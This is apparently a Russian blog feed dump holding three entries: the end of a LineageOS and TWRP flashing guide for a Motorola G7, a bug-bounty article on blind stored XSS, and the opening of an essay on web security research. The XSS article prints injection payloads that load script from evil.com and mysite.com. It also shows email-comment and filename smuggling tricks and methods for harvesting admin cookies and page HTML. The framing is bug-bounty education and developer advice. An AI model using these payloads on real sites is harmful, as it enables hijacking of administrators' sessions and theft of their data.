  &lt;pre&gt;&amp;gt;fastboot flash boot_a twrp-3.3.1-2-river.img
&lt;/pre&gt;
  &lt;p&gt; Система сообщает что файл не подписан, но процесс завершён успешно.&lt;/p&gt;
  &lt;pre&gt;Sending &amp;#x27;boot_a&amp;#x27; (27096 KB) 
OKAY [ 0.725s]
Writing &amp;#x27;boot_a&amp;#x27;
(bootloader) Image not signed or corrupt
OKAY [ 0.145s]
Finished. Total time: 0.878s
&lt;/pre&gt;
  &lt;p&gt; В оригинальной &lt;a href=&quot;https://habr.com/ru/post/465945/&quot; target=&quot;_blank&quot;&gt;статье&lt;/a&gt; указывается, что можно не прописывать TWRP на устройство, а запускать его удалённо, рекомендую перед этим этапом внимательно ознакомиться с тем, что написано в оригинальной статье.&lt;/p&gt;
  &lt;h2&gt;Шаг 3. Установка LineageOS&lt;/h2&gt;
  &lt;p&gt; Осталось совсем немного: сделать несколько настроек в TWRP и загрузить на телефон пару файлов, один из которых и есть прошивка LineageOS. Сначала скачиваем файлы:&lt;/p&gt;
  &lt;h3&gt;copy-partitions.zip&lt;/h3&gt;
  &lt;p&gt; На &lt;a href=&quot;https://wiki.lineageos.org/devices/river/install&quot; target=&quot;_blank&quot;&gt;странице&lt;/a&gt; официальной инструкции по инсталляции LineageOS на Motorola G7 говорится о возможных проблемах с A/B слотами на некоторых устройствах и рекомендуется перед инсталляцией прошивки LineageOS установить файл &lt;a href=&quot;https://androidfilehost.com/?fid=4349826312261678890&quot; target=&quot;_blank&quot;&gt;copy-partitions.zip&lt;/a&gt;. Скачиваем файл и проверяем его целостность с помощью MD5.&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Как проверить MD5 в Windows: запускаем командой cmd окно терминала и вводим команду &lt;strong&gt;certutil -hashfile copy-partitions.zip MD5&lt;/strong&gt;. Затем сравниваем полученные значения с кодом на странице загрузки.&lt;/em&gt;&lt;/p&gt;
  &lt;h3&gt;LineageOS&lt;/h3&gt;
  &lt;p&gt; Затем с официальной страницы загрузки LineageOS скачиваем файл &lt;a href=&quot;https://download.lineageos.org/river&quot; target=&quot;_blank&quot;&gt;прошивки&lt;/a&gt; последней версии &lt;strong&gt;lineage-16.0-20200109-nightly-river-signed.zip&lt;/strong&gt;. И проверяем значение хеша SHA-256.&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Как проверить хеш SHA-256 в Windows: запускаем командой cmd окно терминала и вводим команду &lt;strong&gt;certutil -hashfile lineage-16.0-20200108-nightly-river-signed.zip SHA256&lt;/strong&gt;. Затем сравниваем полученные значения с кодом на странице загрузки.&lt;/em&gt;&lt;/p&gt;
  &lt;h3&gt;AddonSU&lt;/h3&gt;
  &lt;p&gt; Если вы хотите получить root права в вашей будущей системе, то можете скачать ещё &lt;a href=&quot;https://download.lineageos.org/extras&quot; target=&quot;_blank&quot;&gt;AddonSU&lt;/a&gt;. Из списка нужно выбрать вариант arm64 &lt;strong&gt;addonsu-16.0-arm64-signed.zip&lt;/strong&gt;, скачать его и затем проверить SHA-256 хеш.&lt;/p&gt;
  &lt;h3&gt;Google apps&lt;/h3&gt;
  &lt;p&gt; Ещё вы можете скачать для установки &lt;a href=&quot;https://wiki.lineageos.org/gapps.html&quot; target=&quot;_blank&quot;&gt;Google apps&lt;/a&gt;, но, как справедливо заметила &lt;a href=&quot;https://habr.com/ru/users/fur_habr/&quot; target=&quot;_blank&quot;&gt;fur_habr&lt;/a&gt; в своей статье, тогда вся затея с LineageOS теряет всякий смысл. Поэтому Google apps мы скачивать не будем, а за подробностями я вас отсылаю к &lt;a href=&quot;https://habr.com/ru/post/465945/&quot; target=&quot;_blank&quot;&gt;статье&lt;/a&gt; и комментариям к ней.&lt;/p&gt;
  &lt;h3&gt;Операции в TWRP&lt;/h3&gt;
  &lt;p&gt; Запускаем прописанное на устройство TWRP:&lt;/p&gt;
  &lt;pre&gt;fastboot boot twrp-3.3.1-2-river.img
&lt;/pre&gt;
  &lt;p&gt; Запускается интерфейс нашего «кастом рекавери» и мы можем проводить заключительные действия по инсталляции LineageOS на наш смартфон Motorola G7.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/3o/qg/e1/3oqge1mxxt6ijdcq0en4mgdwuxu.jpeg&quot; width=&quot;253&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В интерфейсе TWRP выбираем кнопку «Advanced» и далее «ADB Sideload», а на компьютере в командной строке набираем:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;adb sideload copy-partitions.zip
&lt;/pre&gt;
  &lt;p&gt; После успешной загрузки файла система ответит:&lt;/p&gt;
  &lt;pre&gt;Total xfer: 1.00x
&lt;/pre&gt;
  &lt;p&gt; Затем в интерфейсе TWRP выбираем кнопку «Wipe» и далее «Format Data». После завершения процесса возвращаемся в предыдущее меню. Нажимаем на кнопку «Advanced Wipe» и выбираем «System» и «Cache».&lt;/p&gt;
  &lt;p&gt; Возвращаемся в главное меню и снова выбираем кнопку «Advanced» и далее «ADB Sideload», а на компьютере в командной вводим строке:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;adb sideload lineage-16.0-20200108-nightly-river-signed.zip
&lt;/pre&gt;
  &lt;p&gt; и загружаем прошивку LineageOS в смартфон. Ответ при успешном выполнении операции:&lt;/p&gt;
  &lt;pre&gt;Total xfer: 1.00x
&lt;/pre&gt;
  &lt;p&gt; Если мы хотим установить root на устройство, то далее вводим команду:&lt;/p&gt;
  &lt;pre&gt;adb reboot sideload
&lt;/pre&gt;
  &lt;p&gt; А затем:&lt;/p&gt;
  &lt;pre&gt;&amp;gt;adb sideload addonsu-16.0-arm64-signed.zip
&lt;/pre&gt;
  &lt;p&gt; Ответ:&lt;/p&gt;
  &lt;pre&gt;Total xfer: 2.08x
&lt;/pre&gt;
  &lt;p&gt; Вот теперь точно всё. Перезагружаем смартфон и нас встречает маленькое чудо — операционная система LineageOS.&lt;/p&gt;
  &lt;h3&gt;Root&lt;/h3&gt;
  &lt;p&gt; Если вы установили AddonSU, то в меню разработчика появится соответствующий пункт, в котором вы сможете выбрать режимы работы root на вашем устройстве.&lt;/p&gt;
  &lt;h2&gt;LineageOS&lt;/h2&gt;
  &lt;p&gt; Да… в упорстве нам не откажешь… И вот, после всех этих титанических усилий мы всё-таки добились своего — установили LineageOS на Motorola G7. И что же мы имеем в итоге?&lt;/p&gt;
  &lt;p&gt; Это всё тот же 9-й Android и внешне эта система мало чем отличается от того, что было на родной прошивке Motorola G7. Кнопки примерно на тех же местах, функции примерно те же, в общем после смены операционной системы я не испытывал никаких затруднений или неудобств в работе со смартфоном.&lt;/p&gt;
  &lt;h3&gt;Что мы потеряли?&lt;/h3&gt;
  &lt;p&gt; Поскольку мы не стали устанавливать Google сервисы, то мы потеряли все программы, которые зависят от этих сервисов, а также мы лишились уведомлений, которые работают через них (это касается не всех приложений, но многих). В оригинальной статье (https://habr.com/ru/post/465945/) подробно рассматривается этот вопрос и даются рекомендации по установке альтернативных программ для поддержки Google сервисов.&lt;/p&gt;
  &lt;p&gt; Мы потеряли также банковские приложения и оплату через NFC (не всегда и не во всех случаях, за подробностями снова отсылаю к оригинальной статье).&lt;/p&gt;
  &lt;h3&gt;Что мы приобрели?&lt;/h3&gt;
  &lt;p&gt; Мы просто вернули себе право управления своим собственным устройством и избавились ото всех (наивно думать, что ото всех, но по крайней мере от большинства) шпионских модулей. Теперь мы сами можем решать что и как должен делать наш смартфон (он ведь наш, верно?).&lt;/p&gt;
  &lt;p&gt; Немного технических подробностей. То, что мы имеем сейчас в лице LineageOS уже можно с натяжкой назвать «чистым Андроидом». Это хорошо заметно по логу фаервола. Если в родной, якобы «чистой» прошивке Motorola G7 фаервол просто раскалялся от паразитной активности приложений и сервисов Google и Motorola и десятков трекеров в приложениях, то на LineageOS внутренняя жизнь системы приобрела вменяемый характер.&lt;/p&gt;
  &lt;p&gt; Система больше не напоминает проходной двор где шарятся все кому не лень, начиная от китайских девелоперов и заканчивая индусскими программистами и маркетологами со всего мира (попутно скачивая ваши приватные данные и протоколируя каждый ваш тап по экрану). Лог фаервола почти пустой и найти в нём можно только те приложения и только по тем адресам и портам которые нужны непосредственно для их работы и которые одобрены мной, как хозяином (!) устройства.&lt;/p&gt;
  &lt;p&gt; Как это сказалось на расходе батареи и объёме платного трафика я думаю пояснять не нужно. Андроид просто перестал заниматься огромным количеством посторонних дел и растрачивать на это свои ресурсы (перестал обслуживать чужие, прямо противоречащие вашим, интересы).&lt;/p&gt;
  &lt;h3&gt;Есть ли жизнь на LineageOS?&lt;/h3&gt;
  &lt;p&gt; После установки LineageOS и посещения &lt;a href=&quot;https://www.f-droid.org/&quot; target=&quot;_blank&quot;&gt;F-Droid&lt;/a&gt; я закрыл 95% своих потребностей в программах на Android. Есть набор стандартных «Simple» приложений (часы, калькулятор, блокнот, календарь, файловый менеджер и т. д.), есть проигрыватели аудио и видео (VLC), есть карты, читалки, есть отличный почтовый клиент (K-9), в репозитории F-Droid есть более 2000 приложений на любой вкус, есть даже версия Telegram, работающая без Google сервисов для поклонников этого мессенджера.&lt;/p&gt;
  &lt;p&gt; Для тех редких случаев когда нужная программа есть только в Google Play, можно воспользоваться альтернативными клиентами Yalp store или Aurora Store.&lt;/p&gt;
  &lt;p&gt; Телефон звонит, СМС-ки ходят, почта работает, интернет в полном объёме, доступны все сервисы при авторизации через браузер, есть свободное облако, при желании можно поставить Telegram и т. д. и т. п. В общем, на мой взгляд, LineageOS это вариант не для всех и не всегда, но во многих случаях это просто отличное решение.&lt;/p&gt;
  &lt;h2&gt;Выводы&lt;/h2&gt;
  &lt;p&gt; Очевидно, что для большинства «нормальных людей» которым нужно «передать файл по Ватсапу», «погонять птиц», посвайпить бесконечные ленты «друзей», установить кешбек-приложения от Спортмастера и Алиэкспресс и расплатиться на платной трассе через NFC — этот вариант не подходит.&lt;/p&gt;
  &lt;p&gt; Сама идея чистого и подконтрольного вам смартфона входит в противоречие с логикой и практикой жизни в современном обществе, где каждый продавец товаров или услуг имеет своё приложение, которое занимается сливом ваших данных, отслеживанием вашей активности и построением вашего цифрового профиля.&lt;/p&gt;
  &lt;p&gt;Что со всем этим делать предлагаю читателям решать самостоятельно.&lt;/p&gt;
  &lt;h2&gt;Послесловие&lt;/h2&gt;
  &lt;p&gt; В общем, я доволен проведённым экспериментом — за это время я узнал много интересного и, как гик, получил огромное удовольствие от тесного общения с классным аппаратом Motorola G7. В результате я получил «чистый» телефон, который просто приятно держать в руках, ощущая себя его хозяином и не опасаясь, что в этот момент он что-то куда-то сливает или делает фотографии.&lt;/p&gt;
  &lt;p&gt; Пока Motorola G7 остаётся полем для экспериментов и «вторым» телефоном, наряду с моим старым аппаратом, набитым всякой «шнягой» типа Google сервисов и Ватсапа и после использования которого хочется перекреститься и помыть руки (смайл).&lt;/p&gt;
  &lt;p&gt;И напоследок пара фотографий свободного Motorola G7 с установленной на нём LineageOS.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/uh/a0/m0/uha0m0dndtuln37c6piehfjfo0o.jpeg&quot; width=&quot;778&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Автор статьи: &lt;a href=&quot;https://habr.com/ru/users/smart_alex/&quot; target=&quot;_blank&quot;&gt;smart_alex&lt;/a&gt;&lt;/p&gt;
  &lt;h3&gt;by @it_ha&lt;/h3&gt;

</content></entry><entry><id>it_ha:ByW5UTn_S</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/ByW5UTn_S?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Охота за ошибками, Blind-XSS и лисьи хитрости</title><published>2019-10-10T14:56:09.264Z</published><updated>2019-10-10T14:56:53.055Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/a6/a6477943-0d64-4501-85c3-e488c678039f.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/99/99eaed85-0bec-460c-a62a-3a954ad735a9.png&quot;&gt; Многие наверняка уже слышали о BugBounty, поиске уязвимостей с вознаграждениями и сопутствующих историях об этом. Я, как один из «охотников за ошибками», начал свой путь чуть больше года назад на площадке HackerOne. За это время мне удалось многое узнать о различных видах уязвимостей, получить много опыта и теперь мне хотелось бы поделиться этим с сообществом. В этой статье я хочу рассказать о таком типе уязвимостей, как Blind Cross-site Scripting или слепой хранимый межсайтовый скриптинг, если переводить на русский. Приглашаю под кат, если вас интересуют подобные темы или вы желаете улучшить безопасность своего приложения.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/99/99eaed85-0bec-460c-a62a-3a954ad735a9.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt; Многие наверняка уже слышали о &lt;strong&gt;BugBounty&lt;/strong&gt;, поиске уязвимостей с вознаграждениями и сопутствующих историях об этом. Я, как один из «охотников за ошибками», начал свой путь чуть больше года назад на площадке &lt;strong&gt;HackerOne&lt;/strong&gt;. За это время мне удалось многое узнать о различных видах уязвимостей, получить много опыта и теперь мне хотелось бы поделиться этим с сообществом. В этой статье я хочу рассказать о таком типе уязвимостей, как &lt;strong&gt;Blind Cross-site Scripting&lt;/strong&gt; или слепой хранимый межсайтовый скриптинг, если переводить на русский. Приглашаю под кат, если вас интересуют подобные темы или вы желаете улучшить безопасность своего приложения.&lt;/p&gt;
  &lt;p&gt; Многие веб-приложения обладают административной панелью или другими её вариациями, позволяющими осуществлять контроль над контентом веб-сайта, управлять данными пользователей и выполнять множество других привилегированных действий. Административный портал может быть защищен доступом по определенному пулу IP-адресов, HTTP-Only куками и, конечно же, авторизацией. &lt;/p&gt;
  &lt;p&gt; Однако, все эти механизмы защиты можно обойти, если введенный пользователем контент окажется вредоносным, а приложение не осуществляет надлежащую очистку отправленной информации пользователем. &lt;/p&gt;
  &lt;h3&gt;Инструменты для эксплуатации&lt;/h3&gt;
  &lt;p&gt; Для начала ознакомимся с инструментами, которые позволят нам успешно эксплуатировать обнаруженную &lt;strong&gt;Blind-XSS&lt;/strong&gt;. От остальных уязвимостей она отличается методом эксплуатации. Отправив вредоносное сообщение, мы не знаем, удалось ли успешно встроить &lt;strong&gt;JavaScript &lt;/strong&gt;в &lt;strong&gt;HTML  &lt;/strong&gt;страницы или нет. Вредоносный код будет выполнен только тогда, когда администратор посетит страницу с этим кодом. В противном случае мы можем никогда и не узнать, была ли атака успешной или нет.&lt;/p&gt;
  &lt;p&gt; Помощь в эксплуатации нам могут предоставить всевозможные фреймворки, созданные исключительно для Blind-XSS инъекций:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;&lt;a href=&quot;https://xsshunter.com&quot; target=&quot;_blank&quot;&gt;XSS Hunter&lt;/a&gt; (&lt;a href=&quot;https://github.com/mandatoryprogrammer/xsshunter&quot; target=&quot;_blank&quot;&gt;GitHub&lt;/a&gt;) — один из наиболее популярных фреймворков&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/ssl/ezXSS&quot; target=&quot;_blank&quot;&gt;ezXSS&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/LewisArdern/bXSS&quot; target=&quot;_blank&quot;&gt;bXSS&lt;/a&gt; (с нотификацией по SMS)&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/psych0tr1a/elScripto&quot; target=&quot;_blank&quot;&gt;elScripto&lt;/a&gt;&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt; И множество других. Каждый фреймворк обладает своими особенностями, поэтому каждый багхантер выбирает тот, который удобнее всего и подходит для его нужд. Так как я использую &lt;strong&gt;XSS Hunter&lt;/strong&gt;, далее в статье я буду приводить его особенности и как их использовать для получения наилучшего результата.&lt;/p&gt;
  &lt;p&gt; Настроив фреймворк, вы получите готовые пейлоады, которые могут быть применены в разных ситуациях, но чаще всего используются полиглоты, например:&lt;/p&gt;
  &lt;pre&gt;\--&amp;gt;&amp;#x27;&amp;gt;&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/article&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script/src=//evil.com&amp;gt;&lt;/pre&gt;
  &lt;h3&gt;Точка входа или Injection Point&lt;/h3&gt;
  &lt;p&gt; Все точки входа объединяет то, что введенная в них информация не очищается должным образом от JavaScript кода и позволяет внедрение этого кода в HTML структуру административной страницы. На мой взгляд, наиболее популярная точка входа — это сообщение в службу поддержки. &lt;/p&gt;
  &lt;p&gt; Рассмотрим те, о которых мне известно.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;1. Форма обратной связи&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Как правило, в этой форме есть такие поля, как:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;заголовок&lt;/li&gt;
    &lt;li&gt;сообщение&lt;/li&gt;
    &lt;li&gt;иногда email-адрес в случае, если администратор захочет связаться с автором сообщения.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt; Каждое из этих полей может быть уязвимо к JavaScript инъекции. Но здесь есть небольшая хитрость:&lt;/p&gt;
  &lt;blockquote&gt;Если вы видите поле Email-адрес, то не спешите сдаваться, если оно не принимает что-либо отличное от структуры Email. Попробуйте: &lt;code&gt;- &amp;quot;payload&amp;quot;@domain.com &lt;br /&gt; - name@&amp;quot;payload&amp;quot;domain.com &lt;br /&gt; - name(payload)@domain.com &lt;br /&gt; - name@(payload)domain.com&lt;br /&gt; - name@domain.com(payload)&lt;/code&gt;&lt;/blockquote&gt;
  &lt;p&gt;Кавычки и скобки — это вполне валидная часть email-адреса и является комментарием в соответствии со спецификациями &lt;a href=&quot;https://tools.ietf.org/html/rfc2822&quot; target=&quot;_blank&quot;&gt;RFC 2822&lt;/a&gt; (секция 3.4.1), &lt;a href=&quot;https://tools.ietf.org/html/rfc3696&quot; target=&quot;_blank&quot;&gt;RFC 3696&lt;/a&gt; (секция 3).&lt;/p&gt;
  &lt;p&gt; Половина моих успешных инъекций — это как раз инъекция через комментарий email-адреса. Чаще всего проверка на стороне клиента (браузера) все равно не позволит использовать такой email. Но мы ведь знаем, что проверка на клиенте для нас ничего не значит:&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Коротко о Client-side валидации и хакерах&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Поэтому email адрес нужно лишь подменить в процессе отправки запроса с помощью любого прокси приложения (например, Burp Suite).&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;2. Формы для жалоб / предложений / оценки&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Наверняка вы часто видели строчку &lt;/p&gt;
  &lt;p&gt;&lt;em&gt;«Полезна ли статья?»&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt; (Оцените статью) на порталах поддержки или с документацией. Нажав на кнопку «Нет», нам могут предложить отправить сообщение, почему статья не оказалась полезной и что можно улучшить. Наверное, вы уже поняли, где окажется наша полезная нагрузка в этом случае. &lt;/p&gt;
  &lt;p&gt; Поэтому если видите подобные предложения отправить отзыв, на них обязательно стоит обратить внимание и отправить полезную нагрузку, которая в итоге может оказаться успешной.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;3. Регистрация аккаунта&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Да, при регистрации аккаунта есть крайне малая вероятность, что наш аккаунт посмотрят где-то в административной панели, однако, вставив полезную нагрузку в адрес электронной почты мы в дальнейшем можем использовать это для отправки сообщений на сайте уже как зарегистрированный пользователь. При этом сами формы уже автоматически будут выводить наш адрес в административной панели несмотря на то, что он прямо не запрашивался при отправке какой-либо формы или сообщения.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;4. Служба поддержки&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Наиболее очевидная точка входа и подвергающаяся эксплуатации чаще всего. Каждая форма для запроса в службу поддержки может сильно отличаться друг от друга, поэтому обращайте внимания на любые поля, в которые вы можете вставить полезную нагрузку.&lt;/p&gt;
  &lt;p&gt; Отдельного внимания заслуживает возможность загрузки файлов. Ещё одна хитрость заключается в том, что полезную нагрузку можно оставить в имени файла, например:&lt;/p&gt;
  &lt;pre&gt;Screenshot - 12.03.2019 12_05_52&amp;quot;&amp;gt;&amp;lt;script src=//mysite.com/1.js&amp;gt;.jpeg.html&lt;/pre&gt;
  &lt;p&gt; А в самом файле оставить тот же скрипт (за находку спасибо &lt;a href=&quot;https://habr.com/ru/users/w9w/&quot; target=&quot;_blank&quot;&gt;w9w&lt;/a&gt;).&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;5. Адрес доставки / компании / домашний&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Адрес так же часто используется при взаимодействии с пользователем, когда ему надо что-то отправить в случае со службой доставки, магазином, резервацией отеля или иным приложением, которое обрабатывает адреса.&lt;/p&gt;
  &lt;p&gt; Поле адреса довольно часто встречается и иногда валидация происходит на уровне существующего адреса. Поэтому, возможно, в начале потребуется ввести настоящий адрес и указать его на карте, а уже в процессе отправки запроса добавить полезную нагрузку к валидному адресу, чтобы обойти проверки приложения.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;6. Скрытые API&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Иногда при изучении JavaScript кода можно найти незадействованные в приложении конечные точки API. Это может быть, например, отправка информации об ошибках, отладке и тому подобное. Можно на основе JS сформировать запрос и отправить сообщение с полезной нагрузкой. &lt;/p&gt;
  &lt;h3&gt;Пост эксплуатация и обход механизмов защиты&lt;/h3&gt;
  &lt;p&gt; Получив обратный отклик от успешной эксплуатации Blind-XSS, многие спешат сообщить о находке в программу с вознаграждениями за найденные уязвимости. Однако чащ�� всего подобные уязвимости получают высокий приоритет, но не критический. У нас есть несколько путей доказать критический ущерб от возможной эксплуатации уязвимости.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;1. Изучаем исходный HTML панели&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; С каждой успешной эксплуатацией &lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;XSS Hunter&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; присылает нам такую информацию, как:&lt;/p&gt;
  &lt;p&gt; 1. Cookie пользователя&lt;/p&gt;
  &lt;p&gt; 2. User-Agent пользователя&lt;/p&gt;
  &lt;p&gt; 3. IP адрес пользователя&lt;/p&gt;
  &lt;p&gt; 4. URL страницы, на которой выполняется скрипт&lt;/p&gt;
  &lt;p&gt; 5. исходный HTML код страницы&lt;/p&gt;
  &lt;p&gt; 6. скриншот страницы&lt;/p&gt;
  &lt;p&gt; 7. Referrer&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/mu/cj/dt/mucjdt3mbv8ovtilfz6wvyfxf8e.png&quot; width=&quot;1907&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Как правило, сессионных кук нет, так как они обладают атрибутом HTTP-Only. В этом случае наивысшую полезность для нас оказывает исходный код HTML страницы. В нём, помимо всего прочего, можно найти JavaScript. Этот код позволяет понять, как формируются запросы для выполнения административных действий. Его обязательно надо изучить и попробовать выполнить эти действия, сформировав запрос вручную в Burp Suite или в другом подобном ПО.&lt;/p&gt;
  &lt;p&gt; В моем случае административная панель была на том же домене, от куда я отправлял полезную нагрузку, поэтому я смог открыть все скрипты без дополнительной инъекции (хотя и это можно выполнить за одну инъекцию). К моему удивлению, хоть и доступ к административным разделам все ещё требовал авторизации, мне удалось отправлять запросы на административные API и управлять контентом так, будто я уже был администратором. &lt;/p&gt;
  &lt;p&gt; К сожалению, программа, в которой мне удалось обнаружить эти уязвимости, является приватной и я не могу назвать её имени или подробнее показать процесс извлечения запросов из JS кода.&lt;/p&gt;
  &lt;p&gt; В результате этой находки мне удалось получить &lt;strong&gt;2500$&lt;/strong&gt; вместо &lt;strong&gt;1000$&lt;/strong&gt; как если бы это была уязвимость с высоким приоритетом.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;2. Получаем больше информации&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Даже если административная панель находится за файерволом и получить к ней доступа в принципе нет возможности, всё ещё можно получить больше информации и повысить критичность обнаруженной уязвимости. &lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;XSS Hunter&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; позволяет добавлять собственный JS код в полезную нагрузку и указывать дополнительные страницы для извлечения:&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/qt/-o/wv/qt-owvzedcm13_5mwinkhpwaoga.png&quot; width=&quot;1882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; После первой успешной эксплуатации, можно извлечь дополнительные страницы, которые были получены в ходе изучения исходного кода HTML страницы. Таким же образом можно выполнять и запросы с привилегиями администратора, но это требует более сложного JS кода.&lt;/p&gt;
  &lt;p&gt; Кроме этого, я думаю, что можно добавить рекурсивное извлечение HTML других страниц административной панели, на которых может оказаться чувствительная информация, но к этому прибегать мне еще не приходилось.&lt;/p&gt;
  &lt;h3&gt;Заключение&lt;/h3&gt;
  &lt;ol&gt;
    &lt;li&gt;Разработчикам советую проверить все свои поля, связанные с Email-адресами, так как очень часто многие полагаются на стандартную проверку структуры электронного адреса, не учитывая, что можно сформировать вполне валидный адрес, но с вредоносным кодом.&lt;/li&gt;
    &lt;li&gt;Обращайте внимание на любые незначительные поля, связанные с обратной связью. Они бывают разными и перечислить их все невозможно. &lt;/li&gt;
    &lt;li&gt;Не ленитесь извлекать дополнительную информацию из полученной HTML страницы, с высокой вероятностью она может увеличить ваше баунти в разы.&lt;/li&gt;
    &lt;li&gt;Старайтесь для каждой вашей Blind-XSS доказывать критический импакт.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Удачной охоты!&lt;/p&gt;
  &lt;p&gt;Автор: &lt;a href=&quot;https://twitter.com/haoneses&quot; target=&quot;_blank&quot;&gt;https://twitter.com/haoneses&lt;/a&gt;&lt;/p&gt;
  &lt;h3&gt;by @it_ha&lt;/h3&gt;

</content></entry><entry><id>it_ha:HyyY_WGwH</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/HyyY_WGwH?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Итак, вы хотите стать аналитиком в области сетевой безопасности…</title><published>2019-09-20T08:06:15.188Z</published><updated>2019-09-20T08:06:15.188Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/fb/fb795853-cd86-44a2-8051-89b2917a0329.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/6b/6bb0bce8-f7eb-437a-9c0b-4a24557af6f0.png&quot;&gt; Аналитики в области сетевой безопасности – это люди, которые выходят за рамки использования известных методов взлома, таких как SQLi и XSS, и находят новые угрозы для веб-сайтов. Это могут быть инновационные решения, которые усложняют существующие методы, как, например, подход к эксплуатации уязвимостей local+blind XXE, или целые новые классы угроз, как Web Cache Deception (отравление кэша веб-приложений). </summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/6b/6bb0bce8-f7eb-437a-9c0b-4a24557af6f0.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;h3&gt;Кто такой аналитик в области сетевой безопасности?&lt;/h3&gt;
  &lt;p&gt; Аналитики в области сетевой безопасности – это люди, которые выходят за рамки использования известных методов взлома, таких как SQLi и &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot; target=&quot;_blank&quot;&gt;XSS&lt;/a&gt;, и находят новые угрозы для веб-сайтов. Это могут быть инновационные решения, которые усложняют существующие методы, как, например, подход к эксплуатации уязвимостей &lt;a href=&quot;https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018#7&quot; target=&quot;_blank&quot;&gt;local+blind XXE&lt;/a&gt;, или целые новые классы угроз, как &lt;a href=&quot;https://portswigger.net/blog/top-10-web-hacking-techniques-of-2017#2&quot; target=&quot;_blank&quot;&gt;Web Cache Deception&lt;/a&gt; (отравление кэша веб-приложений). &lt;/p&gt;
  &lt;p&gt;Очень трудно защитить веб-сайты от неизвестных методов атаки, поэтому они часто могут быть задействованы для эксплуатации большого количества других безопасных веб-сайтов. Это значит, что публикация ваших открытий в этой области может помочь веб-сайтам устранить уязвимости, тем самым повышая общий уровень безопасности всей экосистемы. &lt;/p&gt;
  &lt;h3&gt;Ломаем для жизни&lt;/h3&gt;
  &lt;p&gt; Большинство исследований связано с использованием существующих методов, которые немного продвинулись вперед, поэтому для начала хорошо бы ознакомиться с текущим положением дел. Самый быстрый способ сделать это – найти работу, на которой большую часть своего времени вы будете применять какие-либо методы взлома. Многие &lt;a href=&quot;https://medium.com/@niruragu/so-you-want-to-be-a-security-engineer-d8775976afb7&quot; target=&quot;_blank&quot;&gt;хорошие люди&lt;/a&gt; уже давали &lt;a href=&quot;https://medium.com/@niruragu/so-you-want-to-be-a-security-engineer-d8775976afb7&quot; target=&quot;_blank&quot;&gt;советы&lt;/a&gt; о том, как попасть в индустрию информационной безопасности, поэтому здесь я буду краток.&lt;/p&gt;
